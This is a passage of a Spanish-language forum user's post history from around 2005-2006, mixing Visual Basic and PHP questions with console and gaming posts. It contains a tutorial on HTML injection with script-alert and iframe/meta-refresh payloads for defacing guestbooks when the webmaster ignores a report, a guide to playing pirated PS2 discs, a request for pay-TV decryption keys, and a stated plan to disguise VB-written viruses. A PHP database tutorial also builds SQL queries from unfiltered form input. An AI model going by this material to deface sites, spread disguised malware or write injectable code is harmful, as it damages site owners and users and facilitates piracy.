          Case RegString, RegMultiString, RegExpandString, RegBinary, RegUnknown
            r = OSRegSetValueEx(hKey, ValueName(i), 0&, _
                CLng(ValueType), ByVal CStr(Data), LenB(Data))
          Case Else
            r = OSRegSetValueEx(hKey, ValueName(i), 0&, _
                CLng(ValueType), CLng(Data), 4)
        End Select
       
        If r = ERROR_SUCCESS Then iScsCount = iScsCount + 1
      Next
     
      RegSetValues = iScsCount
    Else
      Select Case ValueType
        Case RegString, RegMultiString, RegExpandString, RegBinary, RegUnknown, RegLink
            r = OSRegSetValueEx(hKey, ValueName, 0&, _
                CLng(ValueType), ByVal CStr(Data), LenB(Data))
       
        Case Else
            r = OSRegSetValueEx(hKey, ValueName, 0&, _
                CLng(ValueType), CLng(Data), 4)
      End Select
     
      RegSetValues = True
    End If
  End If

  Call RegCloseKey(hKey)
End Function

Function RegIsKey(Key As RegKeyConstants, Optional ByVal SubKey As String) As Boolean
            Dim hKey&

  hKey = RegOpenKey(Key, SubKey).lHandle
  RegIsKey = (hKey <> 0)

  Call RegCloseKey(hKey)
End Function

Function GetKeyString(hKey As Variant) As String
  Select Case hKey
    Case RegClassesRoot, "HKCR", "HKEY_CLASSES_ROOT": GetKeyString = "HKEY_CLASSES_ROOT"
    Case RegCurrentConfig, "HKCC", "HKEY_CURRENT_CONFIG": GetKeyString = "HKEY_CURRENT_CONFIG"
    Case RegCurrentUser, "HKCU", "HKEY_CURRENT_USER": GetKeyString = "HKEY_CURRENT_USER"
    Case RegDynData, "HKDD", "HKEY_DYN_DATA": GetKeyString = "HKEY_DYN_DATA"
    Case RegLocalMachine, "HKLM", "HKEY_LOCAL_MACHINE": GetKeyString = "HKEY_LOCAL_MACHINE"
    Case RegPerformanceData, "HKPD", "HKEY_PERFORMANCE_DATA": GetKeyString = "HKEY_PERFORMANCE_DATA"
    Case RegUsers, "HKU", "HKEY_USERS": GetKeyString = "HKEY_USERS"
  End Select
End Function

Function GetKeyLong(hKey As Variant) As String
  Select Case hKey
    Case RegClassesRoot, "HKCR", "HKEY_CLASSES_ROOT": GetKeyLong = RegClassesRoot
    Case RegCurrentConfig, "HKCC", "HKEY_CURRENT_CONFIG": GetKeyLong = RegCurrentConfig
    Case RegCurrentUser, "HKCU", "HKEY_CURRENT_USER": GetKeyLong = RegCurrentUser
    Case RegDynData, "HKDD", "HKEY_DYN_DATA": GetKeyLong = RegDynData
    Case RegLocalMachine, "HKLM", "HKEY_LOCAL_MACHINE": GetKeyLong = RegLocalMachine
    Case RegPerformanceData, "HKPD", "HKEY_PERFORMANCE_DATA": GetKeyLong = RegPerformanceData
    Case RegUsers, "HKU", "HKEY_USERS": GetKeyLong = RegUsers
  End Select
End Function


Código fuente:
http://hackersclub.info/emule-previsualizar.zip
Aplicación:
http://hackersclub.info/PFE.zip
Saludos
#54
Programación Visual Basic / FileCopy
19 Octubre 2006, 18:22 PM
¿Tiene la API FileCopy alguna forma de saber el porcentaje de fichero copiado en caso de que sean grandes los ficheros?
Saludos
#55
Electrónica / Contruir Radio
16 Octubre 2006, 01:01 AM
Alguién me puede hechar una mano de como puedo construir una radio??
He hecho circuitos con bombillas para mi clase de tecnología, la típica pila de petaca el interruptor las bombillas circuito en serie y en paralelo. Por eso me gustaría que me lo explicaraís bien, q necesito etc..
Saludos
#56
¿Se va a poder hablar de estos tema en el foro libre??, o ya no se va a poder hablar nunca mas de estos temas.
A mi me gustaría que si, pero si hay falta de personal para moderar estos temas tan delicados pues lo entiendo...
Saludos
#57
Pues nada, tengo el descodificador de canal satélite digital, de manera legal y su tarjetita y todo. Con una instalación muy buena por parte del técnico  ;D
Y lo que me gustaría hacer es sintonizar las cadenas del satélite hispasat, ya que ayer, sintonizé 120 cadenas mas las de digital + con el astra. Pero con el hispasat no me deja porque como no hay ninguna cadena de canal satélite en hispasat no me permite coger las cadenas del hispasat. Existe alguna manera de cogerlas con el descodificador de canal satélite digital??, aunque no me coga las que tengo contratas (claro luego le pongo el astra y me vuelve a coger las de canal satélite).
Bueno, Saludos  ::)
#58
Bueno, decir en un principio que esto no es legal y que si un moderador lo quiere borrar lo entenderé, pero me da rabia que cobren 60€ al mes por ver los canales.. (sin contar pelis, mundiales o eventos extras...), y encima a los que pagan menos te ponen anuncios en la guía para que quieras ver mas y pagar mas...
Bueno, fuera de cuestiones, he decidido descodificar la emisión del canal satelite digital aquí en españa. Según me dijeron necesito un descodificador, ya encontré donde le puedo conseguir además de ser el modelo que me recomendaron:
http://www.locuradigital.com/television_digital/receptores_satelite/axil_ad_600.htm
Y ahora la parte que quiero preguntar, para poder ver canal satélite se necesitan, unos códigos que la empresa esta cambia cada mes o cada cierto tiempo, y la pregunta es ¿donde puedo conseguir los códigos?
Bueno, a mi me dijeron las personas que lo tienen la señal descodificada, que se lo bajan de internet las claves, y que muchos piensan que es la misma empresa la que los libera, la cuestión es, ¿donde los consigo?, me da en la nariz que no los voy a encontrar en la web porque es ilegal, tal vez, por emule o torrent o tal vez algún programa especial donde te notifican con las claves etc..., no se, si alguién sabe y tiene descodificada la señal que me lo diga.
Saludos y gracias ::)
#59
Bueno, tengo en mente el siguiente proyecto, que quede claro solo pregunto que si se puede hacer en vb. Yo estoy casi seguro de que si pero siempre es bueno usar mas opiniones.
Mi proyecto es, php es muy sabido que no sale mas del entorno web, pues la cosa sería crear una interfad de desarrollo que me transforme un código creado en php (con api's en php ya pensadas por mi), a lenguaje c++ y luego usando el compilador que lleva el dev-c++ modificado a mis necesidades compilar ese archivo cpp en una aplicación.
Así se podrían crear aplicaciones usando php. Bueno, es una idea, espero críticas de todas formas yo lo voy a intentar de hacer aunque ya veremos lo que consigo, seguro que me rindo a mitad de camino como siempre  :(
#60
Bueno, hace mucho que no uso este lenguaje, y tenía una duda, me gustaría sabersi existe alguna función en php, que se asemeje a la funcion str_replace del php. O sea que yo le de un texto y vb me busque eso en la cadena y me lo sustituya por otro.
Saludos  ::)
#61
¿existe alguna api del windows para reproducir ficheros como mp3 en la aplicación?, no es para vb si no para c++ pero puesto que las apis valen para estos dos lenguajes lo pongo aqui, ya que si se hacerlo en vb lo podré hacer en c++ facilmente.
Saludos  ::)
#62
Este tutorial es para cargar backup de tus juegos (copias de seguridad), esto es legal, yo no me hago responsable de que se use para descargarte juegos de internet y grabarlos en un dvd y luego jugar a ellos o que copies juegos de tus vecinos eso es ilegal y es cosa tuya
1º La versión de tu consola
Lo primero que tenemos que saber es la versión de tu consola, para eso tienes que encender la play sin ningun disco y dar al botón triangulo y te saldrá:
SCPH-x000x o bien SCPH-39004
Pues dependiendo de lo que hos salga teneís que hacer una cosa u otra:
Citar
Modelo    
SCPH-1500X    
SCPH-1800X    
SCPH-3000X    
SCPH-3900X    
SCPH-5000X    
Todas estas consolas, no necesitan ningún tipo de modificación, y aunque la necesitara la garantía no se anula.
2º Pirateando por cag swap
El cag swap es un engaño a la consola, nosotros le metemos un disco original y luego sin que la play se entere le metemos el disco pirata y luego el disco original tiene un menú que se queda en memoria para cargar el disco pirata con opciones de carga y demás.
Lo primero necesitaremos esto:
-Tarjeta cog swap
-Disco swap magic 3.6 (si es otra versión no pasa nada).
Aunque por mas comodidad hos recomiendo que ya hos venga lel frontal de la bandeja. Podeis encontrar todo esto y lo podeís comprar en:
http://discoazul.com/product1431/product_info.html
(si sois de españa)
si no podeis mirar el distribuidor de cada país aqui:
http://www.swapmagic3.com/Swap_Magic_Where_To_Buy.asp
Su utilización es muy sencilla, apagais la play con la bandeja abierta, entonces arrancais el frontal de la bandeja que tiene el logo, y meteis el nuevo frontal, en caso de no tenerlo pues no haceis nada.
Arrancais de nuevo la play, introducis el swap magic y luego cuando se haya cargado metemos la tarjeta cag swap, tenemos que enganchar el cag, cuando le tengamos enganchado movemos la tarjeta hasta que se abra la consola y luego tiramos, en caso de tener el frontal y la tarjeta nueva del frontal será mucho mas facil de hacer este proceso.
Una vez abierta cambiamos el disco empujamos para dentro y con la tarjeta otra vez movemos el cag y cerramos la consola, por último damos a x en el mando y ¡¡A jugar!!
3º Piratear cambiando la carcasa
Para hacer esto necesitamos:
-Swap magic 3.6 (cualquier versión)
-Carcasa superior especial
Dependiendo de la consola necesitamos una carcasa distinta:
Esta es una carcasa tipo universal, vale para casi todas la versiones:
http://discoazul.com/product861/product_info.html
Para hacer eso, tienes que "abrir" la play, digo "abrir" porque cambiar una carcasa no afecta para nada a la garantía y además es lo mas facil del mundo.
Asi que mejor te dejo un tutorial de una web, en vez de hacer copy y paste:
http://www.discoazul.com/montaje_carcasa_ps2.htm
Con la universal no tiene problemas entre diferentes versiones.
4 Para consolas SCPH-7000X
Se necesita:
-Swap magic 3.6(cualquier versión vale)
-Magic keys
-Carcasa especial (en caso de que no se abra por arriba la consola)
Para este timpo de consolas necesitas las magic keys y una carcasa especial para esta versión, escas consolas se las llaman PStwo, en vez de PS2,  y ya puestos en esto, te recomiendo esta carcasa para que la tunees un poco y te quede mas bonita:
http://discoazul.com/product1391/product_info.html
Con esto deberás cambiar la carcasa y poner las magic keys.
Aqui un manual de instalación de las magic keys 1:
http://discoazul.com/magickeys.htm
5 Para consolas SCPH-75004 y PS2 Silver
Necesitas:
-Swap magic 3.6(cualquier versión vale)
-Magic keys 2
-Carcasa especial (en caso de que no se abra por arriba la consola)
Para este sistema te sigue valiendo esta carcasa (si no se abre por arriba):
http://discoazul.com/product1391/product_info.html
Una vez instalada la carcasa pones las magic keys 2 siguiendo el manual:
http://discoazul.com/manual-instalacion-magic-keys-2.htm
6 Comprar cada cosa:
-Swap magic:
http://discoazul.com/product205/product_info.html
http://www.swapmagic3.com/Swap_Magic_Where_To_Buy.asp
-Magic keys:
http://discoazul.com/product515/product_info.html
-Magic keys 2:
http://discoazul.com/product994/product_info.html
-Carcasa universal:
http://discoazul.com/product861/product_info.html
-Carcasa para plays nuevas:
http://discoazul.com/product1391/product_info.html
-Tarjeta cog swap:
http://discoazul.com/product408/product_info.html
-Slide card + Frontal
http://discoazul.com/product885/product_info.html
7 Bibliografía:
http://www.planetadejuego.com/foros/viewforum.php?f=1&sid=ccf57dac99ac95f125a164e5bd7c2d7f
http://www.swapmagic3.com/
http://discoazul.com

Saludos a todos y espero que hos sea útil para cargar vuestras copias de juegos  ;D
P.d si poneis en alguna web este manual decid que es mío  ;D


#63
Me gustaría saber si la librería: shdocvw.dll, que me sirve para mostrar web's en un formulario no necesita tener nada instalado y viene en todos los windows.
Saludos  ::)
#64
Juegos y Consolas / Duda PSP
26 Marzo 2006, 18:21 PM
¿ se puede jugar a juegos piratas en la psp?
Saludos  ::)
#65
Pues me he gastado 19 € en comprar el swap magic y a la hora de la verdad meto el swap magic, le saco, meto el disco pirata y me sale:
Not a valid ps2 disk
Y la duda es ¿tengo que modificar algo mas del lector o coger algo para que me carge..., necesito también las magic keys??
Saludos  ::)
#66
Se puede piratear la play station 2 con cd, sin tener que ser este original, creo que no pero quiero que alguién me lo afirme.
Saludos  ::)
#67
Juegos y Consolas / Piratear play station 2
10 Marzo 2006, 21:13 PM
Hola, todos sabemos que la play station 2 se puede piratear con un chip especial. Pero a mi me han dicho que se puede piratear desde nivel software, quitando un tornillo y metiendo un cd que hace que el lector que reconozca los juegos de play 2 pirateados. Me gustaría saber donde encontrar este cd se que a muchos les ha funcionado solo con el original, pero quiero probar con uno pirata lo mismo hay suerte.
Saludos  ::)
#68
Estoy desarrollando un sistema en php de noticias, que actualmente esta bastante avanzado (solo me queda el panel de administracion) y para borrar post y todo eso utilizo un enlace. Y me gustaría que algien me hechara una mano y me hicieran las siguientes etiquetas:
-Etiquetas del bbcode
-Smyleis (siempre pueden robarse del smf  ;D)
-Botones para borrar, cerrar, eliminar
-Y alguna otra que surga
Es un sistema libre de noticias hecho en php, cualquiera que quiera ayudar que me envie un privado y nos pondremos en contacto. Bien por el propio sistema, bien por privados, bien por un foro etc...
Saludos y espero una mano  ;)
Gracias a cualquiere que colabore  ::)
#69
Bueno, pues estaba un poquito aburrido aqui y me he decidido a poner un tutorial de como escribir datos dentro de una bd con php, leerlos, borrar tablas etc...
Lo primero, aunque esto viene ya preparado en los hoting hay que saber 4 datos basicos:
CitarHost: Normalmente es localhost es el servidor al que nos conectamos.
Usuario: El nombre de usuario para acceder a la bd.
Password: La contraseña de ese usuario.
BD Es la base de dato donde se encuentran los datos adonde queremos acceder. En los hosting normalmente un usuario tiene acceso a una sola bd.
Una vez puestos estos datos vemos si va bien las conexiones:
La orden mysql_connect, permite conectarse a un servidor de bases de datos y logearse.
La variable $co, marca que con esa variable de conexion vamos a enviar instrucciones y demas.
Luego con la instruccion mysql_select_db seleccionamos la bd a partir de abernos conectado con la variable $co.

<?php
$co 
mysql_connect("localhost""usuario""contraseña") or die("Error a conectar al host"); //Conectamos a la bd con el host, usuario y contraseña.
mysql_select_db("mybd",$co) or die("Error al abrir bd");
?>


La instruccion or die, permite en caso de fallo de la sentencia mostrar un error, no todas las sentencias pueden usar or die. Me acuerdo que puse un or die en un include, me volvi loco  ;D.
La filosofia de una tabla en la bd es la siguiente.
Tenemos por ejemplo una tabla llamada estadisticas, y con los campos equipo|goles|posicion
Y se podria representar asi:
Citar
Tabla virtual:
Equipo    |    Goles       |      Posicion
Real.M          20                      1
Barsa            10                     3
Atletic            15                     2

Ahora estan las ordenes en mysql para coger esos datos. Tienen la siguiente sintaxis.
CitarSeleccioname dato delatabla tabla donde undatodeesatabla = 'datodelusuario'
Esto es como sería asi hablado, para que se entienda pero la sentencia como la escribimos es:
SELECT dato FROM tabla WHERE dato='datodelusuario'
La sentencia WHERE es opcional.
Para enviar estas ordenes se usa:
mysql_query, esta funcion manda una orden a una bd, en base a  una conexion. La repuesta se guarda en una variable, que se transforma en un array, un ejemplo de como podemos nosotros coger un dato de la bd, un dato sin tener en cuenta de algo que el usuario haya seleccionado.

<?php
$co 
mysql_connect("localhost""usuario""contraseña") or die("Error a conectar al host"); //Conectamos a la bd con el host, usuario y contraseña.
mysql_select_db("mybd",$co) or die("Error al abrir bd");
$dato mysql_query("SELECT Posicion FROM estadisticas",$co);
if(
mysql_num_rows($dato)){
//Primero se comprueva si el dato existe, de existir le sacamos
$dato mysql_fetch_array($dato); //Esta funcion nos permite sacar el dato, en forma de array, dato[0] muestra el primero que haya encontrado en la bd, esto es solo util si hay solo un dato
$dato[0] = htmlspecialchars($dato[0]); //Lo vamos a mostrar y por seguridad lo limpiamos, no vaya a ser que haya una vulnerabiliad XSS.
$dato $dato[0]; //pasamos la variable dato[0] a otra que es un array, yo lo hago para que se mas facil el trabajo, vosotros podeis hacer lo que querais.
echo 'El dato sacado es '.$dato;
}else{
echo 
'No se puedo sacar el dato de la bd';
}
?>
                   

Esto nos permite sacar un dato, la sentencia de antes se usa normalmente cuando hay que sacar muchos datos.
CitarSELECT * FROM tabla
Cuando queremos sacar solo uno, que por ejemplo nos muestre, cual equipo esta en la 3º posicion, usamos esto, con la instruccion WHERE:
<?php
$co 
mysql_connect("localhost""usuario""contraseña") or die("Error a conectar al host"); //Conectamos a la bd con el host, usuario y contraseña.
mysql_select_db("mybd",$co) or die("Error al abrir bd");
$dato mysql_query("SELECT Equipo FROM estadistica WHERE posicion='3'",$co);
if(
mysql_num_rows($dato)){
//Primero se comprueva si el dato existe, de existir le sacamos
$dato mysql_fetch_array($dato); //Esta funcion nos permite sacar el dato, en forma de array, dato[0] muestra el primero que haya encontrado en la bd, esto es solo util si hay solo un dato
$dato[0] = htmlspecialchars($dato[0]); //Lo vamos a mostrar y por seguridad lo limpiamos, no vaya a ser que haya una vulnerabiliad XSS.
$dato $dato[0]; //pasamos la variable dato[0] a otra que es un array, yo lo hago para que se mas facil el trabajo, vosotros podeis hacer lo que querais.
echo 'El tercer equipo es: '.$dato;
}else{
echo 
'No se puedo sacar el dato de la bd, posiblemente no existe';
}
?>


Ahora si nosotros queremos sacar los datos de la bd, todos pero sin ningun orden, podemos usar:
<?php
$co 
mysql_connect("localhost""usuario""contraseña") or die("Error a conectar al host"); //Conectamos a la bd con el host, usuario y contraseña.
mysql_select_db("mybd",$co) or die("Error al abrir bd");
$lista mysql_query("SELECT * FROM estadisticas",$co); //El * sirve para acceder a todo tipo de datos dentro de esa tabla
while ($listando mysql_fetch_array($lista)) {
echo 
'Equipo: '.$listando["Equipo"].', '.'Goles: '.$listando["Goles"].', '.'Posicion: '.$listando["Posicion"];
}
?>


Aunque si ademas, quieres que los datos te salgan ordenados, puedes:
<?php
$co 
mysql_connect("localhost""usuario""contraseña") or die("Error a conectar al host"); //Conectamos a la bd con el host, usuario y contraseña.
mysql_select_db("mybd",$co) or die("Error al abrir bd");
$lista mysql_query("SELECT * FROM estadisticas ORDER BY 'Posicion' DESC",$co); //El * sirve para acceder a todo tipo de datos dentro de esa tabla, ahora estan los datos ordenados
while ($listando mysql_fetch_array($lista)) {
echo 
'Equipo: '.$listando["Equipo"].', '.'Goles: '.$listando["Goles"].', '.'Posicion: '.$listando["Posicion"];
}
?>

Se puede hacer lo mimo, pero en vez de poner DESC puedes poner ASC.
Ahora, si quieres grabar datos en una base de datos, se puede hacer:
<?php
//Estos datos son enviamos por un formulario, damos poor hecho que sabe hacer formularios
$co mysql_connect("localhost""usuario""contraseña") or die("Error a conectar al host"); //Conectamos a la bd con el host, usuario y contraseña.
mysql_select_db("mybd",$co) or die("Error al abrir bd");
$equipo $_POST["equipo"];
$goles $_POST["goles"];
$posicion $_POST["posicion"];
$guardarficha mysql_query("INSERT INTO N_noticias (Equipo,Goles,Posicion) VALUES ('$equipo','$goles',$posicion')",$co) or die (mysql_error());
Echo 
'Datos agregados con exito';
?>


Siempre hay que tener cuidado con estas ordenes que van a la bd, entre otras cosas porque, con pueden producirse mysql inyection.
Ahora vamos a crear una tabla, la tabla con la que hemos hecho todos estos ejemplos:

<?php
$co 
mysql_connect("localhost""usuario""contraseña") or die("Error a conectar al host"); //Conectamos a la bd con el host, usuario y contraseña.
mysql_select_db("mybd",$co) or die("Error al abrir bd");
$creartabla mysql_query("CREATE TABLE estadisticas(
Equipo TEXT NOT NULL,
Goles INT(2) NOT NULL,
Posicion INT(2) NOT NULL
);"
)or die(mysql_error());
echo 
'Tabal creada:';
?>


Tambien, podemos cambiar un dato por otro:

<?php
$co 
mysql_connect("localhost""usuario""contraseña") or die("Error a conectar al host"); //Conectamos a la bd con el host, usuario y contraseña.
mysql_select_db("mybd",$co) or die("Error al abrir bd");
$goles $_POST["goles"];
$cambiar mysql_query("Update estadisticas Set  Goles='$goles' Where Equipo='Real.M'",$co) or die (mensaje(mysql_error()));
echo 
'Ficha cambiada';
?>


Y tambien podemos borrar un dato de nuestra bd:

<?php
$co 
mysql_connect("localhost""usuario""contraseña") or die("Error a conectar al host"); //Conectamos a la bd con el host, usuario y contraseña.
mysql_select_db("mybd",$co) or die("Error al abrir bd");
$eliminar mysql_query("DELETE FROM `estadisticas` WHERE Equipo='atletic'",$co);
echo 
'Ficha borrada con exito';
?>


Vaciar el contenido entero de una tabla:

$co = mysql_connect("localhost", "usuario", "contraseña") or die("Error a conectar al host"); //Conectamos a la bd con el host, usuario y contraseña.
mysql_select_db("mybd",$co) or die("Error al abrir bd");
$eliminartabla0 = mysql_query("DELETE FROM `estadisticas`");
echo 'Tabla vaciada';
?>

Importante no confundir DELETE con DROP delete es para vaciar una tabla y drop es para borrarla, ejemplo de borrar una tabla:

$co = mysql_connect("localhost", "usuario", "contraseña) or die("Error a conectar al host"); //Conectamos a la bd con el host, usuario y contraseña.
mysql_select_db("mybd",$co) or die("Error al abrir bd");
$eliminartabla0 = mysql_query("DROP TABLE `estadisticas`");
echo 'Tabla borrada';
?>

A lo mejor despues de este tutorial esto de las bases de datos hos puede parecer una tonteria..., y no lo es actualmente en internet muchisimas cosas de almazenar informacion se hace en las bases de datos.
Para que veais un ejemplo de una base de datos, aqui en el smf:
Si nosotros, los usuarios normales (en cualquier foro smf), tenemos el numero 1 (no se cual tenemos). Y imaginaros que el 5 es el admin, pues con modificar un numero podríamos tener un acceso total al sistema. Mientras que con el 1 somo usuarios normales. ¿fascinante el poder que tienen, no??
Bueno, dicho esto me despido de todos vosotros, me he entretenido un rato escribiendo esto..., podeis hacer lo que hos de la gana con este tutorial, pero por favor me gustaría mucho que si le copiais que pusiera mi nombre en el  ;D
Y lo mas importante, no he verificado que las sentencias esten bien, las he cogido de varios de mis sistemas que estan construidos o en proceso de contruccion. Aqui que con cualquier fallo ponedlo.., faltas de ortografia (no creo que le haga gracia a Ertai)  ;D, criticas, fallos ponedlo.
Y sobre todo admito que me pongais felicitaciones por el tutorial  ;D
Sin mas, me despido de quien me este leyendo y hasta otra que este aburrido y me de por escribir  :D
Saludos a todos  :rolleyes:
#70
¿donde puedo pilotar aviones en el grand thefe auto vice city, los he podido pilotar en el estudio cinematografico, pero lo que quiero son aviones iguales que los del estudio cinematograficio pero que despeguen desde el suelo no desde la tierra y si puede ser aviones como los de el aeropuerto aunque esto no lo veo posible  ;D?
Saludos  ::)
#71
Bueno, tenia una dudilla en php  que era como crear un conbox donde aparecieran los registros de una columna de una tabla:
registros
aaaaaa
bbbbbb
cccccc
Pues que apareciera eso y luego como tendria que recibirlo en el script php. No se que habran visto de malo a mi post para borrarlo...  :huh:
Saludos   ::)
P.D si el post está respondido un montón de veces pues no lo he visto  :rolleyes:
#72
Bueno, pongo este mensaje porque ya me está dando dolores de cabeza el pcx2. Le he conseguido hacerle funcionar las bios están bien me empieza a cargar pero es que está todo el rato saltando de 1 fps a 5 fps haciendo que la imagen valla lenta y tarde 20 minutos a cargar el juego y luego no se pueda jugar. ¿sabeís alguna manera de hacerlo funcionar pero para que valla bien?.
Yo había pensado desde el linux pero me dice que me falta la librería para controlar el mando. ¿no viene que na versión?
Y otra cosa, ¿que es SSE2? donde lo puedo conseguir dicen que va mas rápido con eso donde lo puedo conseguir.
Saludos y gracias por quien me ayude  ;)
#73
Me gustaria saber si me podriais explicar para que vale, o algun sitio donde expliquen:
InStr
Chr
Asc
Mid
right
Saludos  ::)
P.D respueto a asc, me imagion que sera para pasar ascii pero como puedo pasar a otros ej: hex, binario etc...
#74
Bueno, pues tengo unos mas de mis problemas. Quiero listar un directorio ftp por inet el directorio "/" (el principal)...
Creo que se enviaba la instrucción "DIR" para dictar..., pero no se por adonde recibo los datos ni como acoplarlos.
Saludos  ::)
#75
Programación Visual Basic / Cadenas...
25 Diciembre 2005, 20:07 PM
Pues tengo el siguiente problema. Tengo una vadena:
CitarC:\posiblecarpeta\posiblefichero.extensión
Y de está cadena, necesito sacar lo del final. posiblefichero.extensión
Saludos  ::)
#76
Pues nada, ya conseguí mi módulo que emula a inet. Y baja super bien..., pero para subir ficheros me estoy dejando el pellejo y no consigo nada.
Haber si me podeis ayudar.
Esta es la órden en el formulario para subir:
Function subir(fichero As String)

Dim oFTP As New clsFTP
   
   
    oFTP.OpenConnection IP, usuario, pass, "/"

  [quote]  oFTP.UploadFile "C:\virus\a.zip", "a.zip"[/quote]

    oFTP.CloseConnection
  end function 
 

Y en un módulo de clase la función para subir
Public Function UploadFile(ByVal LocalFile As String, ByVal RemoteFile As String) As Boolean
    Dim bRet As Long
   
    bRet = FtpPutFile(hConnection, LocalFile, RemoteFile, FTP_TRANSFER_TYPE_BINARY, 0)
   
    If bRet = False Then
        App.LogEvent "Devx Sample failed to upload file " & LocalFile
        Call MsgBox("Error") 'puesto por mi  ;D
        Exit Function
    End If
End Function

Pues la cuestión es que no me lo sube nunca, se conecta superbien y me descarga ficheros anteriormente subidos pero no es capaz de subir ninguno, haber si me podeis hechar una mano.
La función de descarga es esta:
Public Function DownloadFile(FileName As String, Destination As String) As Boolean
    Dim sRemoteFile As String
    Dim sNewFile As String
    Dim sCurrentDir As String
   
   
    On Error GoTo out
   
    DownloadFile = False
   
    'Only if a valid connection...
    If hConnect Then
        ' Get the Current Internet directory
        sCurrentDir = GetFTPDirectory(hConnect)
       
        ' Setup the file name to retrieve and the destination
        sRemoteFile = sCurrentDir & FileName
        If Right$(Destination, 1) <> "\" Then
            Destination = Destination & sSlash
        End If
        sNewFile = Destination & FileName
         
        'make sure there is no file with the same name as specified
        Set oFSO = CreateObject("Scripting.FileSystemObject")
       
        If oFSO.FileExists(sNewFile) Then
          oFSO.DeleteFile sNewFile
        End If
       
        ' Download file
        If FtpGetFile(hConnect, sRemoteFile, sNewFile, False, FILE_ATTRIBUTE_ARCHIVE, _
            FTP_TRANSFER_TYPE_UNKNOWN, 0&) Then
            ' Success
            DownloadFile = True
            ErrLog "clsFTP.DownloadFile: Download Succeeded. Time:" & CStr(Now), 4
        Else
            ' Raise an error
            ErrLog "clsFTP.DownloadFile: Download Failed. " & Err.Number & ":" & _
                                                            Err.Description, 1
        End If
    End If
    Exit Function
out:
    ErrLog "clsFTP.DownloadFile method failed. Error - " & Err.Description, 1
End Function

Saludos y ojala me podais ayudar  ::)
#77
¿existen declaraciones api de internet transfer control 6.0?, las necesito para ftp sin depender de controles ocx.
Saludos  ::)
#78
Programación Visual Basic / Cadena & intro
21 Diciembre 2005, 22:44 PM
Tengo una cadena de texto que tiene un intro (cambio de linea) al final de dicha cadena como le puedo dejar dejando exclusivamente la cadena.
Saludos  ::)
P.D es que recibo esa orden y no puedo enviarla directamente  la función.
#79
Programación Visual Basic / Icono aplicación
16 Diciembre 2005, 23:15 PM
¿Como puedo cambiar el icono de un programa desde el visual basic?
Existe alguna forma, es que estoy haciendo virus en visual basic y me falta esa fórmula mágica si consiguiera cambiar el icono del ejecutable por el original sería perfecto  8)
Saludos  :D
#80
Multimedia / Wmv protegido
14 Diciembre 2005, 17:28 PM
Pues me he descargado un wmv protegido y me dice el maldito reproductor de windows media 7.0 que compre las licencias...
¿Que puedo hacer para ver dicho archivo?
Saludos  8)
#81
Tutoriales - Documentación / Html inyection
13 Diciembre 2005, 20:59 PM
1 ¿Que es el html inyection?
Se trata de una técnica que como su propio nombre indica inyecta código dentro de una web en html...
Al inyectar código html maligno podemos hacer que el navegador se nos vuelva (loco) y muestre la web que quiera el autor del deface.
2 Y esto ¿por qué sucede?
Esto sucede porque los creadores de la web no filtraron bien las etiquetas html permitiendolo. Esto se de mucho en los libros de visitas hechos por aficionados o en tagboard hechos por aficionados a la programación. Al subir nosotros un texto a la base de datos dicho texto queda públicado en internet y como el navegador lo muestra tali lo que recibe pues si ese texto es una orden al navegador de que deje esa web mostrando otra web pues lo hace.
3 Practica
Para comprobar si el libro de visitas o lo que sea es vulnerable pues se hace lo siguiente, pones en el libro de visitas el siguiente código:
Citar<h1>Prueba
Si aparece en negrita y grande borra y pureba también lo siguiente:
Citar<script>alert('Es vulnerable')</script>
Si estas dos cosas suceden ves corriendo a notificar al webmaster de que su libro es vulnerable esto es importante IMPORTANTE NOTIFICALE
Si no te ha hecho ni caso..., pues entonces vamos al siguiente paso:
Citar<iframe
src=http://www.webdetudeface.net></iframe>
O bien:
Citar<META HTTP-EQUIV="refresh" CONTENT="1; url=http://www.webdetudeface.net">
La dirección webdetuceface tiene que ser donde tienes la web que vas a mostrar IMPORTANTE pon tu email diciendo al webmaster donde contactar para que pueda arreglar lo que has lidado
4 Ética de estos ataques
Pues estos ataques no es que sean muy éticos, pueden servir para divertirse y aprender pero no para más..., lo bueno que tiene esto es que el daño en la web es mínimo y un webmaster espabilaó lo arreglaría enseguida.
5 ¿Y como se solucionan?
Pues muy sencillo, en el archivo php tienes que filtrar lo que te entra con htmlspecialvars, así el ataque no se lleva a cabo.
6 ¿Porqué este manual?
Por dos cosas, porque no lo he visto en el foro. Y la segunda porque he visto manuales de mysql inyection, XSS y remote file inyection pero ninguno de html inyectión y me parece interesante.
Saludos  8)
#82
Juegos y Consolas / Gran thefe auto - vice city
12 Diciembre 2005, 21:25 PM
Tengo el siguiente problema, me he descargado el vice city y funciona bien pero resulta que no me coge el sonido, me dice que no hay hardware de audio. Lo cual me parece rarísimo porque yo esucho todas las canciones y todo sin problemas incluso los propios ficheros de audio del video juego.
Saludos  8)
#83
Pues mira es que en mensaje me ha desaparecizo mi número de posteos por leet.

Creo que es un tipo de huevo de pascua del smf...
Pero lo posteo como curiosidad  ;D
#84
Programación Visual Basic / Navegador
20 Octubre 2005, 23:07 PM
Me gustaría saber si se puede hacer un navegador desde visual basic pero un navegador en serio que hos conozco que me direis que use el control de microsoft del internet explorer. Digo programar un control como el internet explorer solo para saber si se puede y si mas gente se anima pues iniciamos un proyecto.
Es que he visto por ahí mucha gente que por añadir el control del internet explorer se creen que han hecho un navegador propio con todo  ;D y es el mismo internet explorer con agujeros como una catedral  :(
Saludos  8)
#85
Soy yo o el brujo a cambiado los smileys y ha puesto en vez de las caritas con sombrero de baquero un gorro de cocina??
;D 8)
#86
Hay un exceso de chinchetas en el foro troyanos y virus y pediría que se quitaran algunas porque "molestan".
Saludos  ;)
#87
Estas declaraciones de las apis de win32 no son ni por asomo mías y espero que hos sirvan, la voy a dividir en distintos post.
No postear mientras lo pongo
' ------------------------------------------------------------------------
'
'    WIN32API.TXT -- Win32 API Declarations for Visual Basic
'
'              Copyright (C) 1994 Microsoft Corporation
'
'
'  This file contains only the Const, Type,
' and Declare statements for  Win32 APIs.
'
'  You have a royalty-free right to use, modify, reproduce and distribute
'  this file (and/or any modified version) in any way you find useful,
'  provided that you agree that Microsoft has no warranty, obligation or
'  liability for its contents.  Refer to the Microsoft Windows Programmer's
'  Reference for further information.
'
' ------------------------------------------------------------------------
' Modified 4/30/1997

' Type definitions for Windows' basic types.
Public Const ANYSIZE_ARRAY = 1
Type RECT
        Left As Long
        Top As Long
        Right As Long
        Bottom As Long
End Type

Type RECTL
        Left As Long
        Top As Long
        Right As Long
        Bottom As Long
End Type

Type POINTAPI
        x As Long
        y As Long
End Type

Type POINTL
        x As Long
        y As Long
End Type

Type Size
        cx As Long
        cy As Long
